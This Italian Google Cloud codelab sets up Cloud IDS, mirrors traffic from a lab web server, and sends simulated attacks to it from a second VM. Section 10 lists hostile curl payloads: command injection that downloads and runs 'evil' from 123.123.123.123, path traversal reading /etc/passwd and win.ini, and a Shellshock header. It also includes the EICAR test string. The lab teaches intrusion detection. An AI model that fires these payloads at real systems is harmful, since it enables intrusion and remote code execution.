1. Introduzione
In questo lab, implementi Cloud IDS, un servizio di rilevamento delle intrusioni avanzato di nuova generazione che offre il rilevamento delle minacce come intrusioni, malware, spyware e attacchi command-and-control. Simulerai più attacchi e visualizzerai i dettagli delle minacce in Cloud Console.
Cosa imparerai a fare
- Come creare un endpoint Cloud IDS
- Come creare due macchine virtuali con i comandi gcloud
- Come creare una policy di mirroring dei pacchetti
- Come simulare il traffico di attacco da una macchina virtuale
- Come visualizzare i dettagli delle minacce in Cloud Console e Cloud Logging
Che cosa ti serve
- Conoscenza dei comandi Linux di base
2. Casi d'uso di Cloud IDS
Cloud IDS fornisce un servizio di rilevamento delle intrusioni (IDS) di nuova generazione nativo di Google Cloud per consentire ai clienti di soddisfare i requisiti di conformità e rilevamento avanzato delle minacce, come PCI 11.4. Il servizio si basa sulle tecnologie di protezione dalle minacce di Palo Alto Networks per fornire un rilevamento avanzato delle intrusioni. La combinazione dell'infrastruttura di livello mondiale di Google Cloud con la sicurezza di livello mondiale di Palo Alto Networks offre ai clienti una combinazione senza pari di un servizio di rilevamento avanzato delle minacce completamente gestito, ad alte prestazioni e con la massima efficacia di sicurezza.
Man mano che i clienti eseguono la migrazione al cloud, la sicurezza diventa una priorità. Vogliono avere controlli di sicurezza simili a quelli on-premise, ad esempio il servizio di rilevamento delle intrusioni (IDS) nel cloud. Preferiscono di gran lunga utilizzare una soluzione IDS gestita nativa per il cloud per facilità di deployment, prestazioni elevate e costi ottimizzati rispetto al deployment di una soluzione di sicurezza di terze parti e alla gestione dell'infrastruttura o all'utilizzo di firme proprie. Google Cloud IDS fornisce un servizio IDS gestito end-to-end e con scalabilità automatica che consente ai clienti di dedicare il proprio tempo all'analisi e alla mitigazione delle minacce e di liberare tempo e risorse per la gestione dell'infrastruttura o delle firme delle minacce.
Cloud IDS viene implementato fuori banda e può rilevare le minacce e inviare avvisi, ma non può bloccarle. Sfrutta il mirroring pacchetto di Google Cloud per creare una copia del traffico di rete che viene analizzata utilizzando il motore di rilevamento delle minacce di Palo Alto Network.
3. Topologia del codelab

Figura 1. Panoramica di alto livello dell'architettura del deployment di Cloud IDS per questo lab.
4. Configurazione e requisiti
Configurazione dell'ambiente autonomo
- Accedi alla console Google Cloud e crea un nuovo progetto o riutilizzane uno esistente. Se non hai ancora un account Gmail o Google Workspace, devi crearne uno.



- Il nome del progetto è il nome visualizzato per i partecipanti a questo progetto. È una stringa di caratteri non utilizzata dalle API di Google e puoi aggiornarla in qualsiasi momento.
- L'ID progetto deve essere univoco in tutti i progetti Google Cloud ed è immutabile (non può essere modificato dopo essere stato impostato). Cloud Console genera automaticamente una stringa univoca, di solito non ti interessa di cosa si tratta. Nella maggior parte dei codelab, devi fare riferimento all'ID progetto (che in genere è identificato come
PROJECT_ID), quindi, se non ti piace, generane un altro casuale oppure puoi provare il tuo e vedere se è disponibile. Viene "congelato" dopo la creazione del progetto. - Esiste un terzo valore, un numero di progetto, utilizzato da alcune API. Scopri di più su tutti e tre questi valori nella documentazione.
- Successivamente, devi abilitare la fatturazione in Cloud Console per utilizzare le risorse/API Cloud. L'esecuzione di questo codelab non dovrebbe costare molto, se non nulla. Per arrestare le risorse in modo da non incorrere in costi di fatturazione al termine di questo tutorial, segui le istruzioni di "pulizia" riportate alla fine del codelab. I nuovi utenti di Google Cloud possono beneficiare del programma prova senza costi di 300$.
Avvia Cloud Shell
Sebbene Google Cloud possa essere gestito da remoto dal tuo laptop, in questo codelab utilizzerai Google Cloud Shell, un ambiente a riga di comando in esecuzione nel cloud.
Nella console GCP, fai clic sull'icona di Cloud Shell nella barra degli strumenti in alto a destra:

Bastano pochi istanti per eseguire il provisioning e connettersi all'ambiente. Al termine, dovresti vedere un risultato simile a questo:

Questa macchina virtuale è caricata con tutti gli strumenti per sviluppatori di cui avrai bisogno. Offre una home directory permanente da 5 GB e viene eseguita su Google Cloud, migliorando notevolmente le prestazioni e l'autenticazione della rete. Tutto il lavoro di questo lab può essere svolto semplicemente con un browser.
5. Prima di iniziare
Abilita API
In Cloud Shell, assicurati che l'ID progetto sia configurato.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Attiva tutti i servizi necessari
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Crea rete VPC
Rete VPC
Da Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnet
Da Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Accesso ai servizi privato
Da Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connect
Da Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Regole firewall
Per consentire a IAP di connettersi alle tue istanze VM, crea una regola firewall che:
- Si applichi a tutte le istanze VM a cui vuoi accedere tramite IAP.
- Consente il traffico in entrata dall'intervallo IP 35.235.240.0/20. Questo intervallo contiene tutti gli indirizzi IP che utilizzati da IAP per l'inoltro TCP.
Da Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Per consentire la porta HTTP standard (TCP 80) e il protocollo ICMP al server:
- Si applica alle risorse con il tag di rete "server"
- Consente l'ingresso da tutte le origini
Da Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Crea l'istanza Cloud NAT
Cloud Router
Da Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Da Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Crea l'endpoint Cloud IDS
In questa sezione, creerai un endpoint Cloud IDS in us-east1, con una gravità impostata su informativa. La creazione dell'endpoint IDS richiede circa 20 minuti.
Endpoint IDS
Da Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verifica che l'endpoint Cloud IDS sia inizializzato
gcloud ids endpoints list --project=$PROJECT_ID
Output -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Crea due macchine virtuali
In questa sezione, creerai due macchine virtuali. Il primo sarà il tuo server web, che esegue il mirroring su Cloud IDS. La seconda macchina virtuale sarà la sorgente del traffico di attacco.
Macchina virtuale 1 (server)
Da Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Macchina virtuale 2 (client)
Da Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparazione del server
In questa attività, convaliderai il server e fornirai un payload malware benigno per il client.
Accedere tramite SSH alla VM tramite Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Conferma che il servizio web sia in esecuzione
sudo systemctl status nginx
Output - verify active and running
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Cambia directory con il servizio web
cd /var/www/html/
Crea un file malware innocuo sul server web
sudo touch eicar.file
Incolla i contenuti
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Torna a Cloud Shell
exit
Crea una policy di Mirroring pacchetto Cloud IDS
Identifica la regola di forwarding dell'endpoint IDS e verifica che lo stato dell'endpoint IDS sia "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Output di esempio: copia il valore da "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Salva la regola di forwarding dell'endpoint IDS in una variabile.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Criterio di mirroring pacchetto
Da Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verifica che la policy di mirroring dei pacchetti sia stata creata
Da Cloud Shell
gcloud compute packet-mirrorings list
Output
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simulare il traffico degli attacchi
Accedi tramite SSH alla macchina virtuale dell'attaccante (client)
Da Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Esegui le seguenti richieste curl per simulare il traffico dannoso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Esci dalla VM per tornare a Cloud Shell
exit
11. Esaminare le minacce rilevate da Cloud IDS
Vai alla dashboard di Cloud IDS
Menu di navigazione > Sicurezza di rete > Cloud IDS

Vai alla scheda Minacce.

Come puoi vedere, Cloud IDS ha acquisito vari profili di traffico di attacco e ha fornito i dettagli su ogni minaccia. Se non vedi minacce, potrebbe essere necessario fare clic sul pulsante "Aggiorna". Ora esaminiamo più nel dettaglio i dettagli della minaccia.
Individua la minaccia "Bash Remote Code Execution Vulnerability" (Vulnerabilità di esecuzione di codice remoto Bash), fai clic sui tre puntini a destra e seleziona "Visualizza dettagli minaccia".


Ora visualizzeremo i dettagli di questo incidente in Cloud Logging. Torna alla pagina Minacce facendo clic sulla freccia che punta a sinistra .
Fai clic sui tre puntini a destra e seleziona "Visualizza i log delle minacce".


Gli stessi dettagli vengono forniti a Cloud Logging. In questo modo, puoi inviare i log a Cloud Storage, Chronicle o a qualsiasi SIEM/SOAR. Puoi anche creare flussi di lavoro personalizzati per intraprendere azioni correttive in base agli avvisi, ad esempio creare una funzione cloud che si attiva in base a un avviso e creare/aggiornare una regola firewall per bloccare l'indirizzo IP oppure creare/aggiornare un criterio Cloud Armor.
12. Procedura di pulizia
Esci dall'istanza VM (tutte le schede)
exit
Elimina i componenti del lab da un singolo terminale Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Complimenti!
Congratulazioni per aver completato il codelab.
Argomenti trattati
- Casi d'uso di Cloud IDS
- Requisiti di rete
- API supportate
- È stato creato un endpoint Cloud IDS
- Sono state implementate 2 VM
- Generato traffico di "attacco" dal client
- Le minacce verificate sono state rilevate da IDS
- Esamina i dettagli e i log delle minacce